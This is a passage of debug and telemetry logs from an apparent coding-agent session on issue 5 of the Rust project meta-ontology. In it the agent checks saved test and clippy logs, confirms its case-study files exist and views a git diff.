Some(\"gAAAAABqUxL1O3iaQPDS8-hehtcLdtv3AKm3nZ1hvthCXAA1N8CXqI5tV98cHmNA0DoV4R-z3vwfbUPIOlYoMVkmaDDJ0S6aEwpq5KUheDQ_zOoOSuclKo_zHFY0QzOZAf-xd2z98NsQALxd-Ykawox0FL16Ee5VWmoTmWQbrHf8xx7_MaPykLtvP3-28S7cPjmgdFkGMGT9WR_HB_FcTh4b7apeNirpV8D5zRo4spN9aS29qV23G_6haQ_UsIE9-0Pgjjf8ojr_PfsOl2_Vq_JnpwbDhjdKbR7iZrT5st0vYmJ13iINJw69Vu-AEtRx5z92B9y5mqTf1s0g-HpqJe6f2vCl9-9XaLn4_3uSC2tMzHocGwBypgoiNb8LC2loiV2LNkH43jc9gXazIszEiBJfJM96xZQhHpo7a_HrE51yL-y_CynQC8zwk66HDa4vIRZvuzQltK6PRFEtYYUQbqLapEMedxAP3Pf0Ho_AQNntBbYwtIdFGB9RG9wXHI-XpLp8uA88wcerzDXc4Vdct9n0bhJzRUF7v6YUAMFUws5FCS1XUixbrvc4s6eNqz2IysNm2MCOulxa5T_Uhe5z90xOuuSpe6ZTQ56czB6ANn78s7zdqgXEglpv558vVI1JwlLOT_x0m7zuiAmy-SYwzknmwou1AKK41zZ0a5CrVTFEeS3y7jl5BerhG3tkrh4qOzAofK0I7zy-oL9cJLUYgyRCDlbOtGf3AGJhs1iwHNqbx2BYPjYwirTeevmXabOWXZhtV10k9NssEem9tcY28MVADjn32xXE1ytqLfNyRqFm1Pz2un3TUAHNIvdNni8zH120Ycn9l3mVwjmfbc70BbjaSNNquj29gDPTp-9SSvtUpTd_anhJR_XkJCcWXaSlR2zJaZkl2Y8JuAt3l1p6aKvgFA1iIvO2-UvyLdVys6fudi1f-IWbn8hvNa2A4xjK1AK_TCEZZxLCS3rhk6T1jgAyb_khRBP6YCoOXY8dHlaP0MyCdJuf5rG5P6WRwxhEtZ56NtCGt744Au-vdhugxGpY9XSyOayhqv7n85HcS9tzb3u48Mih7Bmf3TbLE0PpRvvpRh6rUcQHRi4I9ktwvhcMQl_1snslF404FBPm_twe0jpAg35RDwv4C81cAaI7l2GHt43i7U0Mywv_6D86ZE2c6ON2mYFEtFKp7cUZ9mP3OrfY25-nU2HLnQ68RowXLWHvDUPz0nY5Q5esh7FXrMvKG2cJPdy1ci030YM8KKSSx6bAj0L3wXghxD-7IvgtQEZOa3NXfbep1H5U2oJfxTGzMYBrTodawyKwN5irlIuHnaCfHrmvR9dF8mAdLRZJn_5ZRJx0d-538Sk225o9WNFW19wMXfazJKyYNv62ycIIIBYMdSZWrWqcfTNkLMcSVAvx3HMPpqr2GzdaC1q5QQFA3kouq1ucQMLT1SrP_grf0hf9k_b5KVU=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:17.201Z] [INFO] \n[2026-07-12T04:07:17.209Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_35\",\"type\":\"reasoning\",\"text\":\"**Inspecting logs and link references**\"}}\n[2026-07-12T04:07:17.209Z] [INFO] \n[2026-07-12T04:07:17.215Z] [INFO] 2026-07-12T04:07:17.206646Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312f52ee88191b55f4c4dd7fe0fd4\"), status: Some(\"in_progress\"), call_id: \"call_761zjkptO5OcP0D9deqkTmWv\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:17.215Z] [INFO] \n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497027Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312f16bfc819194af2166f886cabd\"\n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497089Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61328 output_token_count=348 cached_token_count=60160 reasoning_token_count=89 tool_token_count=61676 ttft_ms=1804 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:21.497Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497111Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61328 output_token_count=348 cached_token_count=60160 reasoning_token_count=89 tool_token_count=61676 ttft_ms=1804 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:21.497Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497174Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . ':!Cargo.lock' | sed -n '1,1500p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000});\n[2026-07-12T04:07:21.497Z] [INFO] text(r.output);\n[2026-07-12T04:07:21.497Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:21.497Z] [INFO] \n[2026-07-12T04:07:21.783Z] [INFO] 2026-07-12T04:07:21.781146Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a7f13bbf-cb68-4711-8ce0-e82bb92bf20c decision=approved source=Config event.timestamp=2026-07-12T04:07:21.781Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.783Z] [INFO] \n[2026-07-12T04:07:21.959Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_36\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . '\\\"':\\\"'!Cargo.lock'\\\"' | sed -n '1,1500p'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:21.959Z] [INFO] \n[2026-07-12T04:07:21.968Z] [INFO] 2026-07-12T04:07:21.961501Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a7f13bbf-cb68-4711-8ce0-e82bb92bf20c arguments={\"cmd\":\"for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . ':!Cargo.lock' | sed -n '1,1500p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000} duration_ms=182 success=true output=Chunk ID: 15d46c\n[2026-07-12T04:07:21.968Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:07:21.968Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:21.968Z] [INFO] Original token count: 1869\n[2026-07-12T04:07:21.968Z] [INFO] Output:\n[2026-07-12T04:07:21.968Z] [INFO] 239 /tmp/meta-ontology-issue5-cargo-test.log\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::rust_root_prefers_explicit_parameter ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::errors_when_workspace_has_no_publishable_members ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_root_package_manifest_when_package_exists ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_first_publishable_workspace_member ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ontology::cycle_thing_concept_thing_present ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test words::scan_skips_code_blocks ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ontology::nsm_count_at_least_64_primes ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test words::scan_known_word_passes ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ontology::loader_finds_seed_concepts ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test words::scan_unknown_word_reports_it ... ok\n[2026-07-12T04:07:21.968Z] [INFO] \n[2026-07-12T04:07:21.968Z] [INFO] test result: ok. 18 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.14s\n[2026-07-12T04:07:21.968Z] [INFO] \n[2026-07-12T04:07:21.968Z] [INFO]    Doc-tests meta_ontology\n[2026-07-12T04:07:21.968Z] [INFO]      Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-bd17e6edefc4bed4.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a\n[2026-07-12T04:07:21.968Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:21.961Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.968Z] [INFO] 2026-07-12T04:07:21.961548Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a7f13bbf-cb68-4711-8ce0-e82bb92bf20c duration_ms=182 success=true arguments_length=748 output_length=2086 output_line_count=22 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:21.961Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.968Z] [INFO] \n[2026-07-12T04:07:21.977Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_36\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . '\\\"':\\\"'!Cargo.lock'\\\"' | sed -n '1,1500p'\\\"\",\"aggregated_output\":\"239 /tmp/meta-ontology-issue5-cargo-test.log\\ntest ci_cd::workspace_manifest_resolution::rust_root_prefers_explicit_parameter ... ok\\ntest ci_cd::workspace_manifest_resolution::errors_when_workspace_has_no_publishable_members ... ok\\ntest ci_cd::workspace_manifest_resolution::resolves_root_package_manifest_when_package_exists ... ok\\ntest ci_cd::workspace_manifest_resolution::resolves_first_publishable_workspace_member ... ok\\ntest ontology::cycle_thing_concept_thing_present ... ok\\ntest words::scan_skips_code_blocks ... ok\\ntest ontology::nsm_count_at_least_64_primes ... ok\\ntest words::scan_known_word_passes ... ok\\ntest ontology::loader_finds_seed_concepts ... ok\\ntest words::scan_unknown_word_reports_it ... ok\\n\\ntest result: ok. 18 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.14s\\n\\n   Doc-tests meta_ontology\\n     Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-bd17e6edefc4bed4.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a24bcb7e5efe8c3.rlib --extern thiserror=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libthiserror-ea7d728d197187f8.rlib --extern walkdir=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libwalkdir-60ff32ac66bb5512.rlib -L dependency=/tmp/gh-issue-solver-1783828904396/target/debug/deps -C embed-bitcode=no --cfg 'feature=\\\"codec\\\"' --cfg 'feature=\\\"default\\\"' --check-cfg 'cfg(docsrs,test)' --check-cfg 'cfg(feature, values(\\\"codec\\\", \\\"default\\\"))' --error-format human`\\n\\nrunning 0 tests\\n\\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\\n\\n59 /tmp/meta-ontology-issue5-doc-test.log\\n       Fresh walkdir v2.5.0\\n       Fresh rustix v1.1.4\\n       Fresh regex-automata v0.4.14\\n       Fresh getrandom v0.4.2\\n       Fresh lino-arguments v0.3.0\\n       Fresh links-notation v0.13.0\\n       Fresh once_cell v1.21.4\\n       Fresh fastrand v2.4.1\\n       Fresh regex v1.12.3\\n   Compiling meta-ontology v0.8.0 (/tmp/gh-issue-solver-1783828904396)\\n       Fresh tempfile v3.27.0\\n     Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustc --crate-name meta_ontology --edition=2021 src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata,link -C embed-bitcode=no -C debuginfo=2 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --cfg 'feature=\\\"default\\\"' --check-cfg 'cfg(docsrs,test)' --check-cfg 'cfg(feature, values(\\\"codec\\\", \\\"default\\\"))' -C metadata=0b971963bf830c8f -C extra-filename=-3bcfd0859211b5b2 --out-dir /tmp/gh-issue-solver-1783828904396/target/debug/deps -C incremental=/tmp/gh-issue-solver-1783828904396/target/debug/incremental -L dependency=/tmp/gh-issue-solver-1783828904396/target/debug/deps --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rmeta --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rmeta --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rmeta --extern thiserror=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libthiserror-ea7d728d197187f8.rmeta --extern walkdir=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libwalkdir-60ff32ac66bb5512.rmeta`\\n    Finished `test` profile [unoptimized + debuginfo] target(s) in 1.80s\\n   Doc-tests meta_ontology\\n     Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-3bcfd0859211b5b2.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a24bcb7e5efe8c3.rlib --extern thiserror=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libthiserror-ea7d728d197187f8.rlib --extern walkdir=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libwalkdir-60ff32ac66bb5512.rlib -L dependency=/tmp/gh-issue-solver-1783828904396/target/debug/deps -C embed-bitcode=no --cfg 'feature=\\\"default\\\"' --check-cfg 'cfg(docsrs,test)' --check-cfg 'cfg(feature, values(\\\"codec\\\", \\\"default\\\"))' --error-format human`\\n\\nrunning 0 tests\\n\\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\\n\\n40 /tmp/meta-ontology-issue5-clippy.log\\n    Checking linux-raw-sys v0.12.1\\n    Checking regex-syntax v0.8.10\\n    Checking clap_builder v4.5.60\\n    Checking nom v8.0.0\\n    Checking aho-corasick v1.1.4\\n    Checking bitflags v2.11.1\\n    Checking cfg-if v1.0.4\\n    Checking rustix v1.1.4\\n    Checking getrandom v0.4.2\\n    Checking clap v4.5.60\\n    Checking once_cell v1.21.4\\n    Checking fastrand v2.4.1\\n    Checking regex-automata v0.4.14\\n    Checking serde v1.0.228\\n    Checking tempfile v3.27.0\\n    Checking lino-arguments v0.3.0\\n    Checking links-notation v0.13.0\\n    Checking meta-ontology v0.8.0 (/tmp/gh-issue-solver-1783828904396)\\n    Checking regex v1.12.3\\n    Finished `dev` profile [unoptimized + debuginfo] target(s) in 12.60s\\n1 /tmp/meta-ontology-issue5-file-size.log\\n/bin/bash: line 1: rust-script: command not found\\n/bin/bash: line 2: jq: command not found\\n .gitkeep   | 1 -\\n Cargo.lock | 2 +-\\n 2 files changed, 1 insertion(+), 2 deletions(-)\\ndiff --git a/.gitkeep b/.gitkeep\\ndeleted file mode 100644\\nindex 246ae17..0000000\\n--- a/.gitkeep\\n+++ /dev/null\\n@@ -1 +0,0 @@\\n-# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\\n\\\\ No newline at end of file\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:21.977Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO] 2026-07-12T04:07:21.976013Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_761zjkptO5OcP0D9deqkTmWv arguments=const r=await tools.exec_command({cmd:\"for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . ':!Cargo.lock' | sed -n '1,1500p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000});\n[2026-07-12T04:07:22.058Z] [INFO] text(r.output);\n[2026-07-12T04:07:22.058Z] [INFO]  duration_ms=370 success=true output=Script completed\n[2026-07-12T04:07:22.058Z] [INFO] Wall time 0.3 seconds\n[2026-07-12T04:07:22.058Z] [INFO] Output:\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO] 239 /tmp/meta-ontology-issue5-cargo-test.log\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::rust_root_prefers_explicit_parameter ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::errors_when_workspace_has_no_publishable_members ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_root_package_manifest_when_package_exists ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_first_publishable_workspace_member ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ontology::cycle_thing_concept_thing_present ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test words::scan_skips_code_blocks ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ontology::nsm_count_at_least_64_primes ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test words::scan_known_word_passes ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ontology::loader_finds_seed_concepts ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test words::scan_unknown_word_reports_it ... ok\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO] test result: ok. 18 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.14s\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO]    Doc-tests meta_ontology\n[2026-07-12T04:07:22.058Z] [INFO]      Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-bd17e6edefc4bed4.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a24bcb7e5efe8c3.rlib --extern thiserror=/tmp/gh-issue-solv\n[2026-07-12T04:07:22.058Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:21.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.058Z] [INFO] 2026-07-12T04:07:21.976068Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_761zjkptO5OcP0D9deqkTmWv duration_ms=370 success=true arguments_length=798 output_length=2086 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:21.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.058Z] [INFO] 2026-07-12T04:07:21.976302Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_761zjkptO5OcP0D9deqkTmWv tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=371 total_duration_ms=371\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.070Z] [INFO] 2026-07-12T04:07:22.060645Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:22.070Z] [INFO] \n[2026-07-12T04:07:22.077Z] [INFO] 2026-07-12T04:07:22.074748Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol 